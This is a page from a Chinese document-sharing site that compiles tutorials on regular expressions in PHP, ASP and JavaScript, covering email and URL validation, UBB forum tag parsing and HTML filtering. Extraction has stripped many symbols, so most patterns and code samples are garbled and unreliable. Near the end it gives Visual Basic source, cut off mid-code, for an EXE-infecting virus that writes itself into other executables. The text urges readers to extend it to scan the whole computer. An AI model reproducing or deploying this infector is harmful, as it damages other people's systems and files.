




已阅读5页,还剩63页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
正则表达式在网络编程中的运用前言:在我们编写WEB程序时,经常会判断一个字符串的有效性,如;一个串是否是数字、是否是有效的Email地址等等。如果不使用正则表达式,那么判断的程序会很长,并且容易出错,如果使用正则表达式,这些判断就是一件很轻松的工作了。本文全面介绍正则表达式的慨念、格式。并以在PHP、ASP中的应用实例增加读者的感性认识。正则表达式的应用很广,需要大家在学习和实践中不断的总结。正则表达式简介 简单的说,正则表达式是一种可以用于模式匹配和替换的强有力的工具。在网络编程中应用广泛,如PHP脚本语言或是JavaScript、VBScript这样的客户端脚本语言都提供了对正则表达式的支持。由此可见,正则表达式已经超出了某种语言或某个系统的局限,成为人们广为接受的概念和功能。 正则表达式可以让用户通过使用一系列的特殊字符构建匹配模式,然后把匹配模式与数据文件、程序输入以及WEB页面的表单输入等目标对象进行比较,根据比较对象中是否包含匹配模式,执行相应的程序。 举例来说,正则表达式的一个最为普遍的应用就是用于验证用户在线输入的邮件地址的格式是否正确,如果通过正则表达式验证用户邮件地址的格式正确,用户所填写的表单信息将会被正常处理;反之,如果用户输入的邮件地址与正则表达的模式不匹配,将会弹出提示信息,要求用户重新输入正确的邮件地址。由此可见正则表达式在WEB应用的逻辑判断中具有举足轻重的作用。在后面我们会举例详细介绍。 正则表达式形式一般如:/love/,其中位于/定界符之间的部分就是将要在目标对象中进行匹配的模式。用户只要把希望查找匹配对象的模式内容放入/定界符之间即可。为了能够使用户更加灵活的定制模式内容,正则表达式提供了专门的元字符。所谓元字符就是指那些在正则表达式中具有特殊意义的专用字符,可以用来规定其前导字符(即位于元字符前面的字符)在目标对象中的出现模式。较为常用的元字符包括: +,*,?以及,或者s,S,d,w和W等等。为了能够方便用户更加灵活的设定匹配模式,正则表达式允许使用者在匹配模式中利用界定匹配于某一个范围的字符而不局限于具体的字符。 除了我们以上的元字符之外,正则表达式中还具有另外一种较为独特的专用字符,即定位符。定位符用于规定匹配模式在目标对象中的出现位置。较为常用的定位符包括: , $, b 以及 B。 如果我们希望在正则表达式中实现类似编程逻辑中的或运算,在多个不同的模式中任选一个进行匹配的话,可以使用管道符 |。例如: 正则表达式中还有一个较为常用的运算符,即否定符 。与我们前文所提到的定位符 不同,否定符 规定目标对象中不能存在模式中所规定的字符串。一般来说,当出现在 内时就被视做否定运算符;而当位于之外,或没有时,则应当被视做定位符。 最后,当用户需要在正则表达式的模式中加入元字符,并查找其匹配对象时,可以使用转义符。例如:/Th*/,该正则表达式将会与目标对象中的Th*而非The等相匹配。正则表达式的语法规则和标记现在我们正式进入则表达式的学习,我会根据实例结合讲解正则表达式的用法,看完后你就会觉得写UBB代码如此简单了,只要你一步一步的跟着我学 看完本文章后你就成为UBB高手了。激动人心的就是你能写出自已的UBB标签来了,再也不用到别人那里去拷贝现成的代码和模板了。 还好VBScritp5.0给我们提供了正则表达式对象,只要你的服务器安装了IE5.x,就可以运行了.字符描述: 符号匹配字符串的开头。例如:abc与abc xyz匹配,而不与xyz abc匹配$符号匹配字符串的结尾。例如:abc$与xyz abc匹配,而不与abc xyz匹配。注意:如果同时使用符号和$符号,将进行精确匹配。例如:abc$只与abc匹配*符号匹配0个或多个前面的字符。例如:ab*可以匹配ab、abb、abbb等+符号匹配至少一个前面的字符。例如:ab+可以匹配abb、abbb等,但不匹配ab。 ?符号匹配0个或1个前面的字符。例如:ab?c?可以且只能匹配abc、abbc、abcc和abbcc.符号匹配除换行符以外的任何字符。例如:(.)+匹配除换行符以外的所有字符串x|y匹配x或y。例如:abc|xyz可匹配 abc或 xyz,而ab(c|x)yz匹配 abcyz和abxyzn匹配恰好n次(n为非负整数)前面的字符。例如:a2可以匹配aa,但不匹配an,匹配至少n次(n为非负整数)前面的字符。例如:a3,匹配aaa、aaaa等,但不匹配a和aa。注意:a1,等价于a+a0,等价于a*m,n匹配至少m个,至多n个前面的字符。例如:a1,3只匹配a、aa和aaa。注意:a0,1等价于a?xyz表示一个字符集,匹配括号中字符的其中之一。例如:abc匹配a、b和cxyz表示一个否定的字符集。匹配不在此括号中的任何字符。例如:abc可以匹配除a、b和c之外的任何字符a-z表示某个范围内的字符,匹配指定区间内的任何字符。例如:a-z匹配从a到z之间的任何一个小写字母字符m-n表示某个范围之外的字符,匹配不在指定范围内的字符。例如:m-n匹配除从m到n之间的任何字符符号是转义操作符。例如:n换行符f分页符r回车t制表符v垂直制表符 匹配/匹配/s任何白字符,包括空格、制表符、分页符等。等价于 fnrtvS任何非空白的字符。等价于fnrtvw任何单词字符,包括字母和下划线。等价于A-Za-z0-9_W任何非单词字符。等价于A-Za-z0-9_b匹配单词的结尾。例如:veb匹配单词love等,但不匹配very、even等B匹配单词的开头。例如:veB匹配单词very等,但不匹配love等d匹配一个数字字符,等价于0-9。例如:abcdxyz匹配abc2xyz、abc4xyz等,但不匹配abcaxyz、abc-xyz等D匹配一个非数字字符,等价于0-9。例如:abcDxyz匹配abcaxyz、abc-xyz等,但不匹配abc2xyz、abc4xyz等NUM匹配NUM个(其中NUM为一个正整数),引用回到记住的匹配。例如:(.)1匹配两个连续相同的字符。 oNUM匹配n(其中n为一个小于256的八进制换码值)。例如:o011匹配制表符xNUM匹配NUM(其中NUM为一个小于256的十六进制换码值)。例如:x41匹配字符A应用实例 在对正则表达式有了较为全面的了解之后,就可以在Perl,PHP,以及ASP等程式中使用正则表达式了。下面以PHP语言为例,使用验证用户在线输入的邮件地址以及网址的格式是否正确。PHP 提供了eregi()或ereg()资料处理函数实现字串比对剖析的模式匹配操作ereg()函数的使用格式如下: ereg (pattern, string) 其中,pattern代表正则表达式的模式;而string则是执行查找替换操作的目标对象,如Email地址值。本函式以 pattern 的规则来剖析比对字串 string,找到则传回值为 true。函式ereg()与eregi()的区别就是前者区分大小写,后者与大小写无关。使用PHP编写的程序代码如下: ?php if (ereg(a-z0-9_-)+(a-zZ0-9_-)+(.a-z0-9_-)+a-z2,3$,$email) echo 您的 E-Mail 通过初步检查!; else echo 不是合法的E-Mail 地址,请重新输入!; ? 这个例子是可对使用者输入的 E-Mail 作简单的检查,检查使用者的 E-Mail 字串是否有 字元,在 字元前有小写英文字母、数字或下_,在 之后有数节字串,最后的小数点后只能有二个或三个小写英文字母。如, hello_200188就可以通过检查,而N(出现大写字母)和n(最后的小数点后只能超过3个英文字母)就不能通过检查。 我们通过调用自定义正规则判别函式也可以进行检查操作,如下面的网址检验函式: function VerifyWebSiteAddr ($strWebSiteAddr) return (eregi (_0-9a-z-+.)+(0-9a-z-+.)+a-z2,3$, $strWebSiteAddr); 我们知道,PHP程式的运行必须有服务器支持,如果您在自己的主页上想实现以上功能, 嵌入式脚本语言Javascript或许是好的选择。JavaScript中带有一个功能强大的RegExp()对象,可以用来进行正则表达式的匹配操作。其中的test()方法可以检验目标对象中是否包含匹配模式,并相应的返回true或false。只须在HTML文档的head区域添加一段Javascript代码。 language=Javascript1.2 function verifyAddress(obj) var email = obj.email.value; var pattern = /(a-zA-Z0-9_-)+(a-zA-Z0-9_-)+(.a-zA-Z0-9_-)+/; flag = pattern.test(email); if(flag) alert(您的 E-Mail 通过初步检查!); return true; else alert(不是合法的E-Mail 地址,请重新输入!); return false; /script然后在网页中输入信息的表单域form标签区域内中加入一行如下代码:onSubmit=return verifyAddress(this); 当按下提交按钮后,首先运行verifyAddress()函式,进行匹配识别,如果满足条件则发送表单信息到目标页面,否则返回错误信息。 事实上,正则表达式的功能远非本文提到的这一点,下次,给大家介绍一种使用正则表达式从任意指定网页中析取任意种类文本信息(如网页中所有的图片文件名)的技巧。 Html源文件中image标签的析取 上篇,我们介绍了正则表达式的概念及其在网络编程中使用正则表达式验证用户在线输入的邮件地址以及网址的格式是否正确的应用实例,今天介绍一种从指定网页源文件中析取image标签的的编程技巧,即从网页源文件中,解析出所有的插图文件名(包括图片路径),也就是标签img src=././abc.jpg 中的文件名././abc.jpg(有的可能是gif格式)。编程环境:PHP+Apache for Win98。 首先, 用文本编辑器新建一个PHP类型的文件:abstractSRCfrompage.php3。为了方便讲解,我们打算是在浏览器表单域中输入需要析取image标签的网页的URL(或本机文档),提交后执行析取操作,所以在该文件中,我们要建立一个用于输入网址的表单,举例如下: form action= abstractSRCfrompage.php3 method=post输入网址input type=text name=filenamebrinput type=submit name=submit value=提交/form 输入正确的网址,提交后表单信息被送到abstractSRCfrompage.php3页面,由于表单本身就在该页面,所以相当于被送到自身页面,下面我们需要编写析取处理的PHP代码,紧接着表单代码段后写入如下代码:?phpif ($filename!=)$fp = fopen($filename, r); file:/若输入不为空,开启本地或者远程档案;while ($buffer = fgets($fp, 1024) $source .=$buffer; fclose($fp);file:/查找$source中是否有img .src=./.gif | jpg 这样的标记if(eregi(img)+(src=)+*|+(.)+(gif)|(jpg)+(),$source) echo 找到图片标签:)br;elseecho 未发现图片标签:(br;file:/拆分,第一次用标签,img .src=拆分,得到了以图形文件名开头的数组,$splitres=split()|()+(img)+(src=),$source);echo 找到: $imagenums-1个图片br分别为:br;for($i=1;$isizeof($splitres);$i+)file:/二次拆分,用拆分。因为文件名能含有,得到的拆分数组的第一个元素就是路径+文件名了;unset($imgname); / 再次使用前删除imgname变量;$imgname=spliti(,$splitres$i);/将析取的图片信息依次赋给imgname变量echo $i=.$imgname0.br; file:/输出析取的图片信息?该段程序的设计思路是:PHP程式判断是否输入了档案名称(网址URL或本机档案名),若不为空则以只读方式打开该档案;接着使用函式fgets(fp,length)取得档案指标fp所指的行并传回该行内长度为length-1 的字串,上例中就是1024-1=1023;然后利用字串比对剖析函式ereg()查找$source中是否含有img .src=./.gif | jpg 这样的标记(关于该函式在上篇中有详细的介绍);假如找到的话,则利用split()函式按一定的规则执行两次拆分,去掉标记中的img.src=字符和字符,结果得到数组splitres,其中的每一个元素都是以图形路径+文件名开头的数组;用for循环在屏幕上输出每个数组的第一个元素值,即我们所需要的所有图形路径+文件名。其中函式sizeof($splitres)返回个数;在for循环中,依次将数组splitres的每个元素(也是数组)赋给数组变量imgname,并输出imgname的第一个元素值(为找到的一个图形路径+文件名),当执行下次循环时,删除变量imgname,达到重复使用的目的。大家可以仔细研究其中的奥妙。好了,写好后,将abstractSRCfrompage.php3存到你的服务器指定目录下,启动Apache服务器,在浏览器中打开它,随便输入一个存在的网页名称或是远程URL,看看效果如何。如果有兴趣,你可以尝试析取HTML文档中的任意感兴趣的信息,如果稍加改装,做一个网站文本搜索引擎岂不更妙?正则表达式在UBB论坛中的应用一、UBB代码的概念什么是UBB代码?UBB代码是HTML的一个变种。一般情况下,UBB论坛不允许你使用代码,而只能用UBB代码替代代码。UBB代码是一套由流行的UBB标签组成了固定代码,代码有统一的格式。用户只要遵循代码规则就可以实现用户想要的功能。如:想要显示粗体的how are you 字样,就应该输入 how are you而不是输入bhow are you/b你也许会问:ASP是怎样把 how are you转换为bhow are you/b的呢?回答这个问题就是:用正则表达式。二、实例分析1)在字符串中精确查找链接地址 (http|https|ftp):(/|)(w)+.)1,(net|com|cn|org|cc|tv|0-91,3)(/*|*)(w)+)|.(w)+)*(?(w)+)1=*)*(w)+)1(&(w)+=(w)+)*)*)我们知道,链接地址一般以http或者https或者ftp等形式出现。初步总结一下就是,链接地址必须符合如下条件:条件1以http:/或者https:/或者ftp:/等开头(当然还有其它形式,这里只列出主要的)条件2http:/后面必须跟一个单词字符,紧接着单词字符后面的是.(这样的组合必须出现一次或多次)。紧跟着.后面的是域名后缀(如net或者com或者cn等,如果是以IP地址的形式出现就可以是数字)条件3出现完整的链接地址后,还可以出现下一级或者更多级的目录(还要注意个人主页的地址有可能出现符号)条件4链接地址末尾可以带参数。如典型的页数?PageNo=2&action=display等现在我们用下面的代码来逐个匹配上面的条件-1、(http|https|ftp):(/|) 满足条件1表示http:/ http: https:/ https: ftp:/ ftp:都匹配(在这里考虑了某些用户可能把/输成的易发性错误)注意:|表示或者,是转义字符。/表示/,表示2、(w)+.)1,(net|com|cn|org|cc|tv|0-91,3) 满足条件2 (w)+.)1,表示一个单词字符加一个点号可以出现1次或者多次(这里考虑了某些用户喜欢省略www而将写成)(net|com|cn|org|cc|tv|0-91,3)表示必须要以net或者com或者cn或者org或者cc或者tv或者三位以下的数字结束0-91,3表示三位以下的数字,因为ip地址的任何段不能超过2553、(/*|*)(w)+)|.(w)+)* 满足条件3(/*|*)表示可以出现/或者是,(其中*表示 可以出现也可以不出现),因为不是每个链接地址都有下一级目录(w)+)|.(w)+)表示必须出现一个单词字符(即目录或者是一个带有扩展名的文件)注意:最后还有一个*表示上面括号内的可以出现也可以不出现,否则就只能匹配有下一级目录的链接地址了。4、(?(w)+)1=*)*(w)+)1(&(w)+=(w)+)*)*)满足条件4(?(w)+)1=*)*(w)+)1表示形如?PageNo=2的字符串可以出现也可以不出现,如果出现则只能出现一次(因为不可能有两个?号出现)。(&(w)+=(w)+)*)表示形如&action=display的字符串可以出现也可以不出现(因为并不是每个网页都带有两个以上的参数。整个(?(w)+)1=*)*(w)+)1(&(w)+=(w)+)*)*表示形如?PageNo=2&action=display的字符串可以出现也可以不出现(即链接地址可以有参数也可以没有参数)把上面的组合起来,我们就可以匹配一个比较全面的链接地址了。比用简单的(http:/S+)来匹配一个链接地址要好,读者可以自行行测试比较。当然,这段代码还有很多不足之处,希望大家能够继续改进。2)替代典型的UBB标签:我们的目的就是要把成对的替换成b/b下面来看我们实现它的模板(b)(.+)(/b)这里用了(.+)来配匹到之间的整个字符串,在替代的时候我们要写成这样str=checkexp(re,str,b$2/b)(注意:checkexp是我自定义的函数,将在后面给出。这个函数将把按照我们提供的模板进行替代。)也许你会问这里出现一个$2是什么东东,呵注意了这个$2可是很重要的,它代表了(.+)所配匹的整个字符串。为什么是$2而不是$1、$3呢?因为$1代表(b)所匹配的字符串,$3代表(/b)所匹配的字符串,显然这里我们需要的是$2而不是$1$3。三、UBB正则表达模板实例下面是我写的一个UBB函数,这个函数基本上能使你的论坛成为一个优秀的UBB代码论坛了。当然,通过改进后,你可以得到一个更强大的UBB论坛。Function ReThestr(face,str)dim re,strre=str=checkexp(re,str,)re=str=checkexp(re,str,)re=nrn/str=checkexp(re,str,P)re=chr(32)str=checkexp(re,str, ) re=rstr=checkexp(re,str, )re=img(http:(/|)1(w)+.)1,3(net|com|cn|org|cc|tv)(/*|*)(w)+)|.(w)+)*(w)+.1(gif|jpg|png)/img 查找图片地址str=checkexp(re,str, img src=$1 )re=w(http:(/|)(w)+.)1,_(net|com|cn|org|cc|tv)(/*|*)(w)+)|.(w)+)*(?(w)+)1=*)*(w)+)1(&(w)+=(w)+)*)*)/w 查找帧地址str=checkexp(re,str,iframe width=300 height=300 src=$1/iframe)re=()(br)*(http|https|ftp):_(/|)(w)+.)1,(net|com|cn|org|cc|tv|_(0-91,3)(/*|*)(w)+)|.(w)+)*_(?(w)+)1=*)*(w)+)1(&(w)+=(w)+)*)*) 查找链接地址str=checkexp(re,str,$1$2 a href=$3 target=_blank$3/a )re=(http:/|http:)(www|cn).(w)+.1,_(net|com|cn|org|cc)(/*|*)(w)+)|.(w)+)*(?(w)+)1=*)*(w)+)1(&(w)+=(w)+)*)*) 查找不以http:/开头的地址str=checkexp(re,str,$1 a href=http:/$2 target=_blank$2/a )re=(=)(w)+1(w)+.)1,3(w)+) 查找邮件地址str=checkexp(re,str, a href=mailto:$2$2/a )re=color=(w)+)|#0-F6)(.)+)/color 替换字体色彩str=checkexp(re,str,font color=$1$4/font)re=size=(0-91)(.)+)/size 替换字体大小str=checkexp(re,str,font size=$1$2/font)re=font=(.)+)1,3(.)+)/font 替换字体str=checkexp(re,str,font face=$1$3/font)re=(b)(.+)(/b) 加粗字体str=checkexp(re,str,b$2/b)re=(u)(.+)(/u) 下画线str=checkexp(re,str,u$2/u)re=(li)(.+)(/li) 列表str=checkexp(re,str,li$2/li)re=(QUOTE)(.+)(/QUOTE) 引用str=checkexp(re,str,_BLOCKQUOTE引用:HR SIZE=1$2HR SIZE=1/BLOCKQUOTE)re=1(w)+.)1,3(w)+)(.+)(/email) 邮件str=checkexp(re,str,a href=mailto:$1$6/a)re=(center)(.+)(/center) 居中str=checkexp(re,str,center$2/center)re=fuckstr=checkexp(re,str,*)re=操str=checkexp(re,str,*)re=sexstr=checkexp(re,str,*) re=TMDstr=checkexp(re,str,*)re=shitstr=checkexp(re,str,*)ReThestr=strend function用Asp读取网页源代码asp远程读取网页源代码读取数据FunctionGetURL(URL)Sethttp=Server.CreateObject(Microsoft.XMLHTTP)OnErrorResumeNexthttp.OpenGET,URL,Falsehttp.send()ifErrthenErr.ClearResponse.Write(没有找到网页!)Response.End()EndifgetHTTPPage=bytesToBSTR(Http.responseBody,gb2312)sethttp=nothingGetURL=getHTTPPageEndFunction转换编码FunctionBytesToBstr(body,Cset)dimobjstreamsetobjstream=Server.CreateObject(adodb.stream)objstream.Type=1objstream.Mode=3objstream.Openobjstream.Writebodyobjstream.Position=0objstream.Type=2objstream.Charset=CsetBytesToBstr=objstream.ReadTextobjstream.Closesetobjstream=nothingEndFunction调用方法Content=GetURL()Response.Write(Content)Asp过滤Html代码 Asp过滤Html代码Function RemoveHTML(strHTML)Dim objRegExp, Match, MatchesSet objRegExp = New RegexpobjRegExp.IgnoreCase = TrueobjRegExp.Global = True取闭合的objRegExp.Pattern = 进行匹配Set Matches = objRegExp.Execute(strHTML) 遍历匹配集合,并替换掉匹配的项目For Each Match in MatchesstrHtml=Replace(strHTML,Match.Value,)NextRemoveHTML=strHTMLSet objRegExp = NothingEnd Function过滤图片正则表达式过滤html代码Function filtscript(strHTML) Dim objRegExp, strOutput Set objRegExp = New Regexp strOutput=strHTML objRegExp.IgnoreCase = True objRegExp.Global = True objRegExp.Pattern = * strOutput = objRegExp.Replace(strOutput, ) objRegExp.Pattern = * strOutput = objRegExp.Replace(strOutput, ) strOutput = replace(strOutput, javascript:, javascript :) filtscript = strOutput Set objRegExp = Nothing End FunctionASP过滤HTML代码里的HTML标签,JS代码和CSS样式 -去掉html js cssFunction delHtml(strHtml)Dim objRegExp, strOutputSet objRegExp = New Regexp 建立正则表达式objRegExp.IgnoreCase = True 设置是否区分大小写objRegExp.Global = True 是匹配所有字符串还是只是第一个objRegExp.Pattern = ()|() 设置模式引号中的是正则表达式,用来找出html标签strOutput = objRegExp.Replace(strHtml, ) 将html标签去掉strOutput = Replace(strOutput, , , ) delHtml = strOutputSet objRegExp = NothingEnd Functionsrt1是你要去除html代码字符串,可以其它任何地方读取过来。str1 = 正在转到 . . 应用函数Response.Write(delHtml(str1)-Asp完全过滤Html代码Function RemoveHTML(strHTML) Dim objRegExp, Match, Matches Set objRegExp = New RegexpobjRegExp.IgnoreCase = True objRegExp.Global = True 取闭合的 objRegExp.Pattern = 进行匹配 Set Matches = objRegExp.Execute(strHTML) 遍历匹配集合,并替换掉匹配的项目 For Each Match in Matches strHtml=Replace(strHTML,Match.Value,) Next RemoveHTML=strHTML Set objRegExp = Nothing End FunctionVB的一个可以感染EXE的病毒原代码 hide什么控件都不用加,直接输入以下代码就行了。Option ExplicitPrivate Victim As String 要感染的文件的名字Private HostLen As Long 要感染的文件的大小Private vbArray() As Byte 病毒的代码Private hArray() As Byte 要感染的文件的代码Private lenght As LongPrivate MySize As Integer 病毒的大小Private Declare Function OpenProcess Lib kernel32 (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As LongPrivate Declare Function GetExitCodeProcess Lib kernel32 (ByVal hProcess As Long, lpExitCode As Long) As LongPrivate Declare Function CloseHandle Lib kernel32 (ByVal hObject As Long) As LongPrivate iResult As LongPrivate hProg As LongPrivate idProg As LongPrivate iExit As LongConst STILL_ACTIVE As Long = &H103Const PROCESS_ALL_ACCESS As Long = &H1F0FFFPrivate Sub form_Initialize()Dim i As LongOn Error GoTo vbVerror 出错处理原理:将生成病毒文件的代码读出,粘在要被感染的文件的后面。Open App.Path & & App.EXEName & .exe For Binary Access Read _As #1ReDim MyArray(LOF(1) - 1)MySize = LOF(1)ReDim vbArray(MySize)Get #1, 1, vbArrayClose #1这是在读自己的代码Victim = Dir(App.Path & & *.EXE) 随便选一个文件(目前只是在病毒所在的目录下随机选一个,将来你可以修改,让它不断的循环搜索计算机上的所有文件。)While Victim If format(Victim, ) format(App.EXEName & .EXE, ) ThenOpen App.Path & & Victim For Binary Access Read As #1ReDim hArray(LOF(1)Get #1, 1, hArrayClose #1读出病毒自身的代码If hArray(&H69) &H4D Theni = hArray(&H3C)If hArray(i) = &H50 ThenOpen App.Path & & Victim For Binary Access Write As #1Put #1, , vbArrayPut #1, MySize, hArrayClose #1End If 要保证被感染的不是空文件(不是圈套)End IfEnd If读出准备被感染的文件的代码Victim = Dir() NextWend下面的工作是为了保证病毒不会重复感染一个文件,也不会自我感染。Open App.Path & & App.EXEName & .exe For Binary Access Read As #1lenght = LOF(1) - MySizeIf lenght 0 ThenReDim vbArray(lenght - 1)Get #1, MySize, vbArrayClose #1Open App.Path & & App.EXEName & .eve For Binary Access Write As #1Put #1, , vbArrayClose #1idProg = Shell(App.Path & & App.EXEName & .eve, vbNormalFocus)hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)GetExitCodeProcess hProg, iExitDo While iExit = STILL_ACTIVEDoEventsGetExitCodeProcess hProg, iExitLoopKill App.Path & & App.EXEName & .eveEls
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 分红权转让合同范本
- 旧房整栋出售合同范本
- wenhua公司合伙合同范本
- 卖家卖货合同范本模板
- 大理租院子合同范本
- 汽车抵款合同范本
- 提供租赁合同范本
- 煤气安装服务合同范本
- 过度安置房合同范本
- 文化墙彩绘合同范本
- 危险作业票 安全作业票格式模板 动火登高煤气受限空间作业票
- 水电工安全考试题及答案
- 2025至2030临床前CRO治疗行业发展趋势分析与未来投资战略咨询研究报告
- 2025年浙江省中考数学试卷真题(含官方标准答案)
- 幼儿园物资报损管理制度
- 酒精戒断综合症治疗方案讲课件
- 【9语安徽中考卷】2025年安徽省中考招生考试真题语文试卷(真题+答案)
- 工程造价培训用课件
- 《人工智能概论-面向通识课程》全套教学课件
- 三区人才面试题及答案大全
- 城市轨道交通施工机械设备管理措施
评论
0/150
提交评论